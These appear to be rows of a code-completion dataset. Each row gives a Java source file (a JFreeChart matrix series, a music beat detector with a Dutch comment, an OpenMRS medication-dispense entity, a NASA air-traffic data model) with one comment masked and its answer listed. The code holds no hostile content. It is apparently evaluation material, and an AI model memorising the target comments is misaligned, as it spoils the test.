* [Oracle and Java are registered trademarks of Oracle and/or its affiliates.
* Other names may be trademarks of their respective owners.]
*
* ---------------------------
* NormalizedMatrixSeries.java
* ---------------------------
* (C) Copyright 2003-2020, by Barak Naveh and Contributors.
*
* Original Author: Barak Naveh;
* Contributor(s): David Gilbert;
*
*/
package org.jfree.data.xy;
/**
* Represents a dense normalized matrix M[i,j] where each Mij item of the
* matrix has a value (default is 0). When a matrix item is observed using
* {@code getItem()} method, it is normalized, that is, divided by the
* total sum of all items. It can be also be scaled by setting a scale factor.
*/
public class NormalizedMatrixSeries extends MatrixSeries {
/** The default scale factor. */
public static final double DEFAULT_SCALE_FACTOR = 1.0;
/**
* A factor that multiplies each item in this series when observed using
* getItem method.
*/
private double m_scaleFactor = DEFAULT_SCALE_FACTOR;
/** The sum of all items in this matrix */
private double m_totalSum;
/**
* Constructor for NormalizedMatrixSeries.
*
* @param name the series name.
* @param rows the number of rows.
* @param columns the number of columns.
*/
public NormalizedMatrixSeries(String name, int rows, int columns) {
super(name, rows, columns);
/*
* we assum super is always initialized to all-zero matrix, so the
* total sum should be 0 upon initialization. However, we set it to
* Double.MIN_VALUE to get the same effect and yet avoid division by 0
* upon initialization.
*/
this.m_totalSum = Double.MIN_VALUE;
}
/**
* Returns an item.
*
* @param itemIndex the index.
*
* @return The value.
*
* @see org.jfree.data.xy.MatrixSeries#getItem(int)
*/
@Override
public Number getItem(int itemIndex) {
int i = getItemRow(itemIndex);
int j = getItemColumn(itemIndex);
double mij = get(i, j) * this.m_scaleFactor;
Number n = mij / this.m_totalSum;
return n;
}
/**
* Sets the factor that multiplies each item in this series when observed
* using getItem mehtod.
*
* @param factor new factor to set.
*
* @see #DEFAULT_SCALE_FACTOR
*/
public void setScaleFactor(double factor) {
this.m_scaleFactor = factor;
// FIXME: this should generate a series change event
}
/**
* Returns the factor that multiplies each item in this series when
* observed using getItem mehtod.
*
* @return The factor
*/
public double getScaleFactor() {
return this.m_scaleFactor;
}
/**
* Updates the value of the specified item in this matrix series.
*
* @param i the row of the item.
* @param j the column of the item.
* @param mij the new value for the item.
*
* @see #get(int, int)
*/
@Override
public void update(int i, int j, double mij) {
this.m_totalSum -= get(i, j);
this.m_totalSum += mij;
super.update(i, j, mij);
}
/**
* @see org.jfree.data.xy.MatrixSeries#zeroAll()
<SUF>*/
@Override
public void zeroAll() {
this.m_totalSum = 0;
super.zeroAll();
}
}
|
113325_5 | package yolo.octo.dangerzone.beatdetection;
import java.util.List;
import ddf.minim.analysis.FFT;
/*
* FFTBeatDetector
* An extension of the SimpleBeatDetector.
* Uses a Fast Fourier Transform on a single array of samples
* to break it down into multiple frequency ranges.
* Uses the low freqency range (from 80 to 230) to determine if there is a beat.
* Uses three frequency bands to find sections in the song.
*
*/
public class FFTBeatDetector implements BeatDetector{
/* Has three simple beat detectors, one for each frequency range*/
private SimpleBeatDetector lowFrequency;
private SimpleBeatDetector highFrequency;
private SimpleBeatDetector midFrequency;
private FFT fft;
/* Constructor*/
public FFTBeatDetector(int sampleRate, int channels, int bufferSize) {
fft = new FFT(bufferSize, sampleRate);
fft.window(FFT.HAMMING);
fft.noAverages();
lowFrequency = new SimpleBeatDetector(sampleRate, channels);
highFrequency = new SimpleBeatDetector(sampleRate, channels);
midFrequency = new SimpleBeatDetector(sampleRate, channels);
}
@Override
/* Uses the newEnergy function from the simple beat detector to fill the
* list of sections in each frequency range.
*/
public boolean newSamples(float[] samples) {
fft.forward(samples);
/* Only the low frequency range is used to find a beat*/
boolean lowBeat = lowFrequency.newEnergy(fft.calcAvg(80, 230), 1024);
highFrequency.newEnergy(fft.calcAvg(9000, 17000), 1024);
midFrequency.newEnergy(fft.calcAvg(280, 2800), 1024);
return lowBeat;
}
@Override
/*
* Wraps up the song.
* Calculates a total intensity by adding the intensity of the beats found in the
* high frequency range to the intensity in the low frequency range if both beats
* occur at the same time.
* Beat intensities will be scaled so they fall between 0 and 1.
*
* Then it uses the sections found in the middle frequency range and matches the
* beats in the low frequency range with the sections in the middle frequency range.
*/
public void finishSong() {
lowFrequency.finishSong();
highFrequency.finishSong();
List<Beat> lowBeats = lowFrequency.getBeats();
List<Beat> highBeats = highFrequency.getBeats();
int lbIndex = 0;
for (Beat hb : highBeats) {
for (; lbIndex < lowBeats.size(); lbIndex++) {
Beat lb = lowBeats.get(lbIndex);
if (lb.startTime > hb.startTime) {
break;
}
// Als een hb binnen een lb valt, draagt deze bij aan de intensiteit
if (lb.startTime <= hb.startTime
&& lb.endTime > hb.startTime) {
lb.intensity += hb.intensity / 2;
}
}
}
float maxBeatIntensity = 1;
for (Beat b : lowBeats) {
if (b.intensity > maxBeatIntensity) {
maxBeatIntensity = b.intensity;
}
}
for (Beat b : lowBeats) {
b.intensity /= maxBeatIntensity;
}
float maxSectionIntensity = 0;
lbIndex = 0;
/* Looks for the best match in the low frequency range for the start and end
* of the section fills the section with the beats between the start and the end.
*/
for (Section s : midFrequency.getSections()) {
int bestMatch = 0;
long timeDiff = Long.MAX_VALUE;
/* finds the start beat*/
for (; lbIndex < lowBeats.size(); lbIndex++) {
Beat b = lowBeats.get(lbIndex);
long newTimeDiff = Math.abs(s.startTime - b.startTime);
if (newTimeDiff < timeDiff) {
timeDiff = newTimeDiff;
bestMatch = lbIndex;
} else if (b.startTime > s.startTime) {
break;
}
}
int startBeat = bestMatch;
timeDiff = Long.MAX_VALUE;
/* Finds the end beat*/
for (; lbIndex < lowBeats.size(); lbIndex++) {
Beat b = lowBeats.get(lbIndex);
long newTimeDiff = Math.abs(s.endTime - b.endTime);
if (newTimeDiff < timeDiff) {
timeDiff = newTimeDiff;
bestMatch = lbIndex;
} else if (b.endTime > s.endTime) {
break;
}
}
int endBeat = bestMatch;
s.beats.clear();
/* Adds all beats from start to end to the section list*/
s.beats.addAll(lowBeats.subList(startBeat, endBeat));
if (s.intensity > maxSectionIntensity) {
/* Sets the maxsection intensity*/
maxSectionIntensity = (float) s.intensity;
}
}
/* Scales the intensities in the sections to fall between 0 and 1*/
/* for (Section s : midFrequency.getSections()) {
s.intensity /= maxSectionIntensity;
} */
}
@Override
/* See explanation at SimpleBeatDetector*/
public double estimateTempo() {
return lowFrequency.estimateTempo();
}
@Override
/* See explanation at SimpleBeatDetector*/
public List<Beat> getBeats() {
return lowFrequency.getBeats();
}
@Override
/* Only the middle frequency range is used for the section*/
public List<Section> getSections() {
if (midFrequency.getSections().isEmpty())
return lowFrequency.getSections();
return midFrequency.getSections();
}
}
| nardi/yolo-octo-dangerzone | GameTest/src/yolo/octo/dangerzone/beatdetection/FFTBeatDetector.java | 1,643 | // Als een hb binnen een lb valt, draagt deze bij aan de intensiteit | line_comment | nl | package yolo.octo.dangerzone.beatdetection;
import java.util.List;
import ddf.minim.analysis.FFT;
/*
* FFTBeatDetector
* An extension of the SimpleBeatDetector.
* Uses a Fast Fourier Transform on a single array of samples
* to break it down into multiple frequency ranges.
* Uses the low freqency range (from 80 to 230) to determine if there is a beat.
* Uses three frequency bands to find sections in the song.
*
*/
public class FFTBeatDetector implements BeatDetector{
/* Has three simple beat detectors, one for each frequency range*/
private SimpleBeatDetector lowFrequency;
private SimpleBeatDetector highFrequency;
private SimpleBeatDetector midFrequency;
private FFT fft;
/* Constructor*/
public FFTBeatDetector(int sampleRate, int channels, int bufferSize) {
fft = new FFT(bufferSize, sampleRate);
fft.window(FFT.HAMMING);
fft.noAverages();
lowFrequency = new SimpleBeatDetector(sampleRate, channels);
highFrequency = new SimpleBeatDetector(sampleRate, channels);
midFrequency = new SimpleBeatDetector(sampleRate, channels);
}
@Override
/* Uses the newEnergy function from the simple beat detector to fill the
* list of sections in each frequency range.
*/
public boolean newSamples(float[] samples) {
fft.forward(samples);
/* Only the low frequency range is used to find a beat*/
boolean lowBeat = lowFrequency.newEnergy(fft.calcAvg(80, 230), 1024);
highFrequency.newEnergy(fft.calcAvg(9000, 17000), 1024);
midFrequency.newEnergy(fft.calcAvg(280, 2800), 1024);
return lowBeat;
}
@Override
/*
* Wraps up the song.
* Calculates a total intensity by adding the intensity of the beats found in the
* high frequency range to the intensity in the low frequency range if both beats
* occur at the same time.
* Beat intensities will be scaled so they fall between 0 and 1.
*
* Then it uses the sections found in the middle frequency range and matches the
* beats in the low frequency range with the sections in the middle frequency range.
*/
public void finishSong() {
lowFrequency.finishSong();
highFrequency.finishSong();
List<Beat> lowBeats = lowFrequency.getBeats();
List<Beat> highBeats = highFrequency.getBeats();
int lbIndex = 0;
for (Beat hb : highBeats) {
for (; lbIndex < lowBeats.size(); lbIndex++) {
Beat lb = lowBeats.get(lbIndex);
if (lb.startTime > hb.startTime) {
break;
}
// Als een<SUF>
if (lb.startTime <= hb.startTime
&& lb.endTime > hb.startTime) {
lb.intensity += hb.intensity / 2;
}
}
}
float maxBeatIntensity = 1;
for (Beat b : lowBeats) {
if (b.intensity > maxBeatIntensity) {
maxBeatIntensity = b.intensity;
}
}
for (Beat b : lowBeats) {
b.intensity /= maxBeatIntensity;
}
float maxSectionIntensity = 0;
lbIndex = 0;
/* Looks for the best match in the low frequency range for the start and end
* of the section fills the section with the beats between the start and the end.
*/
for (Section s : midFrequency.getSections()) {
int bestMatch = 0;
long timeDiff = Long.MAX_VALUE;
/* finds the start beat*/
for (; lbIndex < lowBeats.size(); lbIndex++) {
Beat b = lowBeats.get(lbIndex);
long newTimeDiff = Math.abs(s.startTime - b.startTime);
if (newTimeDiff < timeDiff) {
timeDiff = newTimeDiff;
bestMatch = lbIndex;
} else if (b.startTime > s.startTime) {
break;
}
}
int startBeat = bestMatch;
timeDiff = Long.MAX_VALUE;
/* Finds the end beat*/
for (; lbIndex < lowBeats.size(); lbIndex++) {
Beat b = lowBeats.get(lbIndex);
long newTimeDiff = Math.abs(s.endTime - b.endTime);
if (newTimeDiff < timeDiff) {
timeDiff = newTimeDiff;
bestMatch = lbIndex;
} else if (b.endTime > s.endTime) {
break;
}
}
int endBeat = bestMatch;
s.beats.clear();
/* Adds all beats from start to end to the section list*/
s.beats.addAll(lowBeats.subList(startBeat, endBeat));
if (s.intensity > maxSectionIntensity) {
/* Sets the maxsection intensity*/
maxSectionIntensity = (float) s.intensity;
}
}
/* Scales the intensities in the sections to fall between 0 and 1*/
/* for (Section s : midFrequency.getSections()) {
s.intensity /= maxSectionIntensity;
} */
}
@Override
/* See explanation at SimpleBeatDetector*/
public double estimateTempo() {
return lowFrequency.estimateTempo();
}
@Override
/* See explanation at SimpleBeatDetector*/
public List<Beat> getBeats() {
return lowFrequency.getBeats();
}
@Override
/* Only the middle frequency range is used for the section*/
public List<Section> getSections() {
if (midFrequency.getSections().isEmpty())
return lowFrequency.getSections();
return midFrequency.getSections();
}
}
|
80554_26 | /**
* This Source Code Form is subject to the terms of the Mozilla Public License,
* v. 2.0. If a copy of the MPL was not distributed with this file, You can
* obtain one at http://mozilla.org/MPL/2.0/. OpenMRS is also distributed under
* the terms of the Healthcare Disclaimer located at http://openmrs.org/license.
*
* Copyright (C) OpenMRS Inc. OpenMRS is a registered trademark and the OpenMRS
* graphic logo is a trademark of OpenMRS Inc.
*/
package org.openmrs;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
import javax.persistence.JoinColumn;
import javax.persistence.ManyToOne;
import javax.persistence.Table;
import java.util.Date;
/**
* The MedicationDispense class records detailed information about the provision of a supply of a medication
* with the intention that it is subsequently consumed by a patient (usually in response to a prescription).
*
* @see <a href="https://www.hl7.org/fhir/medicationdispense.html">
* https://www.hl7.org/fhir/medicationdispense.html
* </a>
* @since 2.6
*/
@Entity
@Table(name = "medication_dispense")
public class MedicationDispense extends BaseFormRecordableOpenmrsData {
private static final long serialVersionUID = 1L;
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
@Column(name = "medication_dispense_id")
private Integer medicationDispenseId;
/**
* FHIR:subject
* Patient for whom the medication is intended
*/
@ManyToOne(optional = false)
@JoinColumn(name = "patient_id")
private Patient patient;
/**
* FHIR:context
* Encounter when the dispensing event occurred
*/
@ManyToOne(optional = true)
@JoinColumn(name = "encounter_id")
private Encounter encounter;
/**
* FHIR:medication.medicationCodeableConcept
* Corresponds to drugOrder.concept
*/
@ManyToOne(optional = false)
@JoinColumn(name = "concept")
private Concept concept;
/**
* FHIR:medication.reference(Medication)
* Corresponds to drugOrder.drug
*/
@ManyToOne(optional = true)
@JoinColumn(name = "drug_id")
private Drug drug;
/**
* FHIR:location
* Where the dispensed event occurred
*/
@ManyToOne(optional = true)
@JoinColumn(name = "location_id")
private Location location;
/**
* FHIR:performer.actor with null for performer.function.
* Per <a href="https://www.hl7.org/fhir/medicationdispense-definitions.html#MedicationDispense.performer">
* https://www.hl7.org/fhir/medicationdispense-definitions.html#MedicationDispense.performer
* </a>specification, It should be assumed that the actor is the dispenser of the medication
*/
@ManyToOne(optional = true)
@JoinColumn(name = "dispenser")
private Provider dispenser;
/**
* FHIR:authorizingPrescription
* The drug order that led to this dispensing event;
* note that authorizing prescription maps to a "MedicationRequest" FHIR resource
*/
@ManyToOne(optional = true)
@JoinColumn(name = "drug_order_id")
private DrugOrder drugOrder;
/**
* FHIR:status
* @see <a href="https://www.hl7.org/fhir/valueset-medicationdispense-status.html">
* https://www.hl7.org/fhir/valueset-medicationdispense-status.html
* </a>
* i.e. preparation, in-progress, cancelled, on-hold, completed, entered-in-error, stopped, declined, unknown
*/
@ManyToOne(optional = false)
@JoinColumn(name = "status")
private Concept status;
/**
* FHIR:statusReason.statusReasonCodeableConcept
* @see <a href="https://www.hl7.org/fhir/valueset-medicationdispense-status-reason.html">
* https://www.hl7.org/fhir/valueset-medicationdispense-status-reason.html
* </a>
* i.e "Stock Out"
*/
@ManyToOne(optional = true)
@JoinColumn(name = "status_reason")
private Concept statusReason;
/**
* FHIR:type.codeableConcept
* @see <a href="https://www.hl7.org/fhir/v3/ActPharmacySupplyType/vs.html">
* https://www.hl7.org/fhir/v3/ActPharmacySupplyType/vs.html
* </a> for potential example concepts
* i.e. "Refill" and "Partial Fill"
*/
@ManyToOne(optional = true)
@JoinColumn(name = "type")
private Concept type;
/**
* FHIR:quantity.value
* Relates to drugOrder.quantity
*/
@Column(name = "quantity")
private Double quantity;
/**
* FHIR:quantity.unit and/or quanity.code
* Relates to drugOrder.quantityUnits
*/
@ManyToOne(optional = true)
@JoinColumn(name = "quantity_units")
private Concept quantityUnits;
/**
* FHIR:dosageInstructions.doseAndRate.dose.doseQuantity
* Relates to drugOrder.dose
*/
@Column(name = "dose")
private Double dose;
/**
* FHIR:dosageInstructions.doseAndRate.dose.quantity.unit and/or code
* Relates to drugOrder.doseUnits
*/
@ManyToOne(optional = true)
@JoinColumn(name = "dose_units")
private Concept doseUnits;
/**
* FHIR:dosageInstructions.route
* Relates to drugOrder.route
*/
@ManyToOne(optional = true)
@JoinColumn(name = "route")
private Concept route;
/**
* FHIR:DosageInstructions.timing.repeat.frequency+period+periodUnit
* @see <a href="https://build.fhir.org/datatypes.html#Timing">https://build.fhir.org/datatypes.html#Timing</a>
* Note that we will continue to map this as a single "frequency" concept, although it doesn't map well to FHIR,
* to make consistent with DrugOrder in OpenMRS
* Relates to drugOrder.frequency
*/
@ManyToOne(optional = true)
@JoinColumn(name = "frequency")
private OrderFrequency frequency;
/**
* FHIR:DosageInstructions.AsNeeded.asNeededBoolean
* Relates to drugOrder.asNeeded
*/
@Column(name = "as_needed")
private Boolean asNeeded;
/**
* FHIR:DosageInstructions.patientInstructions
* Relates to drugOrder.dosingInstructions
*/
@Column(name = "dosing_instructions", length=65535)
private String dosingInstructions;
/**
* FHIR:whenPrepared
* From FHIR: "When product was packaged and reviewed"
*/
@Column(name = "date_prepared")
private Date datePrepared;
/**
* FHIR:whenHandedOver
* From FHIR: "When product was given out"
*/
@Column(name = "date_handed_over")
private Date dateHandedOver;
/**
* FHIR:substitution.wasSubstituted
* True/false whether a substitution was made during this dispense event
*/
@Column(name = "was_substituted")
private Boolean wasSubstituted;
/**
* FHIR:substitution.type
* @see <a href="https://www.hl7.org/fhir/v3/ActSubstanceAdminSubstitutionCode/vs.html">
* https://www.hl7.org/fhir/v3/ActSubstanceAdminSubstitutionCode/vs.html
* </a>
*/
@ManyToOne(optional = true)
@JoinColumn(name = "substitution_type")
private Concept substitutionType;
/**
* FHIR:substitution.reason
* @see <a href="https://www.hl7.org/fhir/v3/SubstanceAdminSubstitutionReason/vs.html">
* https://www.hl7.org/fhir/v3/SubstanceAdminSubstitutionReason/vs.html
* </a>
*/
@ManyToOne(optional = true)
@JoinColumn(name = "substitution_reason")
private Concept substitutionReason;
public MedicationDispense() {
}
/**
* @see BaseOpenmrsObject#getId()
*/
@Override
public Integer getId() {
return getMedicationDispenseId();
}
/**
* @see BaseOpenmrsObject#setId(Integer)
*/
@Override
public void setId(Integer id) {
setMedicationDispenseId(id);
}
public Integer getMedicationDispenseId() {
return medicationDispenseId;
}
public void setMedicationDispenseId(Integer medicationDispenseId) {
this.medicationDispenseId = medicationDispenseId;
}
public Patient getPatient() {
return patient;
}
public void setPatient(Patient patient) {
this.patient = patient;
}
public Encounter getEncounter() {
return encounter;
}
public void setEncounter(Encounter encounter) {
this.encounter = encounter;
}
public Concept getConcept() {
return concept;
}
public void setConcept(Concept concept) {
this.concept = concept;
}
public Drug getDrug() {
return drug;
}
public void setDrug(Drug drug) {
this.drug = drug;
}
public Location getLocation() {
return location;
}
public void setLocation(Location location) {
this.location = location;
}
public Provider getDispenser() {
return dispenser;
}
public void setDispenser(Provider dispenser) {
this.dispenser = dispenser;
}
public DrugOrder getDrugOrder() {
return drugOrder;
}
public void setDrugOrder(DrugOrder drugOrder) {
this.drugOrder = drugOrder;
}
public Concept getStatus() {
return status;
}
public void setStatus(Concept status) {
this.status = status;
}
public Concept getStatusReason() {
return statusReason;
}
public void setStatusReason(Concept statusReason) {
this.statusReason = statusReason;
}
public Concept getType() {
return type;
}
public void setType(Concept type) {
this.type = type;
}
public Double getQuantity() {
return quantity;
}
public void setQuantity(Double quantity) {
this.quantity = quantity;
}
public Concept getQuantityUnits() {
return quantityUnits;
}
public void setQuantityUnits(Concept quantityUnits) {
this.quantityUnits = quantityUnits;
}
public Double getDose() {
return dose;
}
public void setDose(Double dose) {
this.dose = dose;
}
public Concept getDoseUnits() {
return doseUnits;
}
public void setDoseUnits(Concept doseUnits) {
this.doseUnits = doseUnits;
}
public Concept getRoute() {
return route;
}
public void setRoute(Concept route) {
this.route = route;
}
public OrderFrequency getFrequency() {
return frequency;
}
public void setFrequency(OrderFrequency frequency) {
this.frequency = frequency;
}
public Boolean getAsNeeded() {
return asNeeded;
}
public void setAsNeeded(Boolean asNeeded) {
this.asNeeded = asNeeded;
}
public String getDosingInstructions() {
return dosingInstructions;
}
public void setDosingInstructions(String dosingInstructions) {
this.dosingInstructions = dosingInstructions;
}
public Date getDatePrepared() {
return datePrepared;
}
public void setDatePrepared(Date datePrepared) {
this.datePrepared = datePrepared;
}
public Date getDateHandedOver() {
return dateHandedOver;
}
public void setDateHandedOver(Date dateHandedOver) {
this.dateHandedOver = dateHandedOver;
}
public Boolean getWasSubstituted() {
return wasSubstituted;
}
public void setWasSubstituted(Boolean wasSubstituted) {
this.wasSubstituted = wasSubstituted;
}
public Concept getSubstitutionType() {
return substitutionType;
}
public void setSubstitutionType(Concept substitutionType) {
this.substitutionType = substitutionType;
}
public Concept getSubstitutionReason() {
return substitutionReason;
}
public void setSubstitutionReason(Concept substitutionReason) {
this.substitutionReason = substitutionReason;
}
}
| nareshmanojari1/openmrs-core | api/src/main/java/org/openmrs/MedicationDispense.java | 3,720 | /**
* @see BaseOpenmrsObject#setId(Integer)
*/ | block_comment | nl | /**
* This Source Code Form is subject to the terms of the Mozilla Public License,
* v. 2.0. If a copy of the MPL was not distributed with this file, You can
* obtain one at http://mozilla.org/MPL/2.0/. OpenMRS is also distributed under
* the terms of the Healthcare Disclaimer located at http://openmrs.org/license.
*
* Copyright (C) OpenMRS Inc. OpenMRS is a registered trademark and the OpenMRS
* graphic logo is a trademark of OpenMRS Inc.
*/
package org.openmrs;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
import javax.persistence.JoinColumn;
import javax.persistence.ManyToOne;
import javax.persistence.Table;
import java.util.Date;
/**
* The MedicationDispense class records detailed information about the provision of a supply of a medication
* with the intention that it is subsequently consumed by a patient (usually in response to a prescription).
*
* @see <a href="https://www.hl7.org/fhir/medicationdispense.html">
* https://www.hl7.org/fhir/medicationdispense.html
* </a>
* @since 2.6
*/
@Entity
@Table(name = "medication_dispense")
public class MedicationDispense extends BaseFormRecordableOpenmrsData {
private static final long serialVersionUID = 1L;
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
@Column(name = "medication_dispense_id")
private Integer medicationDispenseId;
/**
* FHIR:subject
* Patient for whom the medication is intended
*/
@ManyToOne(optional = false)
@JoinColumn(name = "patient_id")
private Patient patient;
/**
* FHIR:context
* Encounter when the dispensing event occurred
*/
@ManyToOne(optional = true)
@JoinColumn(name = "encounter_id")
private Encounter encounter;
/**
* FHIR:medication.medicationCodeableConcept
* Corresponds to drugOrder.concept
*/
@ManyToOne(optional = false)
@JoinColumn(name = "concept")
private Concept concept;
/**
* FHIR:medication.reference(Medication)
* Corresponds to drugOrder.drug
*/
@ManyToOne(optional = true)
@JoinColumn(name = "drug_id")
private Drug drug;
/**
* FHIR:location
* Where the dispensed event occurred
*/
@ManyToOne(optional = true)
@JoinColumn(name = "location_id")
private Location location;
/**
* FHIR:performer.actor with null for performer.function.
* Per <a href="https://www.hl7.org/fhir/medicationdispense-definitions.html#MedicationDispense.performer">
* https://www.hl7.org/fhir/medicationdispense-definitions.html#MedicationDispense.performer
* </a>specification, It should be assumed that the actor is the dispenser of the medication
*/
@ManyToOne(optional = true)
@JoinColumn(name = "dispenser")
private Provider dispenser;
/**
* FHIR:authorizingPrescription
* The drug order that led to this dispensing event;
* note that authorizing prescription maps to a "MedicationRequest" FHIR resource
*/
@ManyToOne(optional = true)
@JoinColumn(name = "drug_order_id")
private DrugOrder drugOrder;
/**
* FHIR:status
* @see <a href="https://www.hl7.org/fhir/valueset-medicationdispense-status.html">
* https://www.hl7.org/fhir/valueset-medicationdispense-status.html
* </a>
* i.e. preparation, in-progress, cancelled, on-hold, completed, entered-in-error, stopped, declined, unknown
*/
@ManyToOne(optional = false)
@JoinColumn(name = "status")
private Concept status;
/**
* FHIR:statusReason.statusReasonCodeableConcept
* @see <a href="https://www.hl7.org/fhir/valueset-medicationdispense-status-reason.html">
* https://www.hl7.org/fhir/valueset-medicationdispense-status-reason.html
* </a>
* i.e "Stock Out"
*/
@ManyToOne(optional = true)
@JoinColumn(name = "status_reason")
private Concept statusReason;
/**
* FHIR:type.codeableConcept
* @see <a href="https://www.hl7.org/fhir/v3/ActPharmacySupplyType/vs.html">
* https://www.hl7.org/fhir/v3/ActPharmacySupplyType/vs.html
* </a> for potential example concepts
* i.e. "Refill" and "Partial Fill"
*/
@ManyToOne(optional = true)
@JoinColumn(name = "type")
private Concept type;
/**
* FHIR:quantity.value
* Relates to drugOrder.quantity
*/
@Column(name = "quantity")
private Double quantity;
/**
* FHIR:quantity.unit and/or quanity.code
* Relates to drugOrder.quantityUnits
*/
@ManyToOne(optional = true)
@JoinColumn(name = "quantity_units")
private Concept quantityUnits;
/**
* FHIR:dosageInstructions.doseAndRate.dose.doseQuantity
* Relates to drugOrder.dose
*/
@Column(name = "dose")
private Double dose;
/**
* FHIR:dosageInstructions.doseAndRate.dose.quantity.unit and/or code
* Relates to drugOrder.doseUnits
*/
@ManyToOne(optional = true)
@JoinColumn(name = "dose_units")
private Concept doseUnits;
/**
* FHIR:dosageInstructions.route
* Relates to drugOrder.route
*/
@ManyToOne(optional = true)
@JoinColumn(name = "route")
private Concept route;
/**
* FHIR:DosageInstructions.timing.repeat.frequency+period+periodUnit
* @see <a href="https://build.fhir.org/datatypes.html#Timing">https://build.fhir.org/datatypes.html#Timing</a>
* Note that we will continue to map this as a single "frequency" concept, although it doesn't map well to FHIR,
* to make consistent with DrugOrder in OpenMRS
* Relates to drugOrder.frequency
*/
@ManyToOne(optional = true)
@JoinColumn(name = "frequency")
private OrderFrequency frequency;
/**
* FHIR:DosageInstructions.AsNeeded.asNeededBoolean
* Relates to drugOrder.asNeeded
*/
@Column(name = "as_needed")
private Boolean asNeeded;
/**
* FHIR:DosageInstructions.patientInstructions
* Relates to drugOrder.dosingInstructions
*/
@Column(name = "dosing_instructions", length=65535)
private String dosingInstructions;
/**
* FHIR:whenPrepared
* From FHIR: "When product was packaged and reviewed"
*/
@Column(name = "date_prepared")
private Date datePrepared;
/**
* FHIR:whenHandedOver
* From FHIR: "When product was given out"
*/
@Column(name = "date_handed_over")
private Date dateHandedOver;
/**
* FHIR:substitution.wasSubstituted
* True/false whether a substitution was made during this dispense event
*/
@Column(name = "was_substituted")
private Boolean wasSubstituted;
/**
* FHIR:substitution.type
* @see <a href="https://www.hl7.org/fhir/v3/ActSubstanceAdminSubstitutionCode/vs.html">
* https://www.hl7.org/fhir/v3/ActSubstanceAdminSubstitutionCode/vs.html
* </a>
*/
@ManyToOne(optional = true)
@JoinColumn(name = "substitution_type")
private Concept substitutionType;
/**
* FHIR:substitution.reason
* @see <a href="https://www.hl7.org/fhir/v3/SubstanceAdminSubstitutionReason/vs.html">
* https://www.hl7.org/fhir/v3/SubstanceAdminSubstitutionReason/vs.html
* </a>
*/
@ManyToOne(optional = true)
@JoinColumn(name = "substitution_reason")
private Concept substitutionReason;
public MedicationDispense() {
}
/**
* @see BaseOpenmrsObject#getId()
*/
@Override
public Integer getId() {
return getMedicationDispenseId();
}
/**
* @see BaseOpenmrsObject#setId(Integer)
<SUF>*/
@Override
public void setId(Integer id) {
setMedicationDispenseId(id);
}
public Integer getMedicationDispenseId() {
return medicationDispenseId;
}
public void setMedicationDispenseId(Integer medicationDispenseId) {
this.medicationDispenseId = medicationDispenseId;
}
public Patient getPatient() {
return patient;
}
public void setPatient(Patient patient) {
this.patient = patient;
}
public Encounter getEncounter() {
return encounter;
}
public void setEncounter(Encounter encounter) {
this.encounter = encounter;
}
public Concept getConcept() {
return concept;
}
public void setConcept(Concept concept) {
this.concept = concept;
}
public Drug getDrug() {
return drug;
}
public void setDrug(Drug drug) {
this.drug = drug;
}
public Location getLocation() {
return location;
}
public void setLocation(Location location) {
this.location = location;
}
public Provider getDispenser() {
return dispenser;
}
public void setDispenser(Provider dispenser) {
this.dispenser = dispenser;
}
public DrugOrder getDrugOrder() {
return drugOrder;
}
public void setDrugOrder(DrugOrder drugOrder) {
this.drugOrder = drugOrder;
}
public Concept getStatus() {
return status;
}
public void setStatus(Concept status) {
this.status = status;
}
public Concept getStatusReason() {
return statusReason;
}
public void setStatusReason(Concept statusReason) {
this.statusReason = statusReason;
}
public Concept getType() {
return type;
}
public void setType(Concept type) {
this.type = type;
}
public Double getQuantity() {
return quantity;
}
public void setQuantity(Double quantity) {
this.quantity = quantity;
}
public Concept getQuantityUnits() {
return quantityUnits;
}
public void setQuantityUnits(Concept quantityUnits) {
this.quantityUnits = quantityUnits;
}
public Double getDose() {
return dose;
}
public void setDose(Double dose) {
this.dose = dose;
}
public Concept getDoseUnits() {
return doseUnits;
}
public void setDoseUnits(Concept doseUnits) {
this.doseUnits = doseUnits;
}
public Concept getRoute() {
return route;
}
public void setRoute(Concept route) {
this.route = route;
}
public OrderFrequency getFrequency() {
return frequency;
}
public void setFrequency(OrderFrequency frequency) {
this.frequency = frequency;
}
public Boolean getAsNeeded() {
return asNeeded;
}
public void setAsNeeded(Boolean asNeeded) {
this.asNeeded = asNeeded;
}
public String getDosingInstructions() {
return dosingInstructions;
}
public void setDosingInstructions(String dosingInstructions) {
this.dosingInstructions = dosingInstructions;
}
public Date getDatePrepared() {
return datePrepared;
}
public void setDatePrepared(Date datePrepared) {
this.datePrepared = datePrepared;
}
public Date getDateHandedOver() {
return dateHandedOver;
}
public void setDateHandedOver(Date dateHandedOver) {
this.dateHandedOver = dateHandedOver;
}
public Boolean getWasSubstituted() {
return wasSubstituted;
}
public void setWasSubstituted(Boolean wasSubstituted) {
this.wasSubstituted = wasSubstituted;
}
public Concept getSubstitutionType() {
return substitutionType;
}
public void setSubstitutionType(Concept substitutionType) {
this.substitutionType = substitutionType;
}
public Concept getSubstitutionReason() {
return substitutionReason;
}
public void setSubstitutionReason(Concept substitutionReason) {
this.substitutionReason = substitutionReason;
}
}
|
102037_34 | /**
Copyright © 2016, United States Government, as represented
by the Administrator of the National Aeronautics and Space
Administration. All rights reserved.
The MAV - Modeling, analysis and visualization of ATM concepts
platform is licensed under the Apache License, Version 2.0
(the "License"); you may not use this file except in
compliance with the License. You may obtain a copy of the
License at http://www.apache.org/licenses/LICENSE-2.0.
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
either express or implied. See the License for the specific
language governing permissions and limitations under the
License.
**/
package gov.nasa.arc.atc.core;
import gov.nasa.arc.atc.AfoUpdate;
import gov.nasa.arc.atc.ControllerHandOff;
import gov.nasa.arc.atc.FlightPlanUpdate;
import gov.nasa.arc.atc.SimulationManager;
import gov.nasa.arc.atc.algos.dsas.NamedArrivalGap;
import gov.nasa.arc.atc.geography.ATCNode;
import gov.nasa.arc.atc.geography.FlightSegment;
import gov.nasa.arc.atc.geography.Route;
import gov.nasa.arc.atc.simulation.SeparationViolation;
import gov.nasa.arc.atc.utils.Constants;
import java.util.*;
/**
* @author aWallace
* @author ahamon
*/
public class DataModel {
// constructor parameters
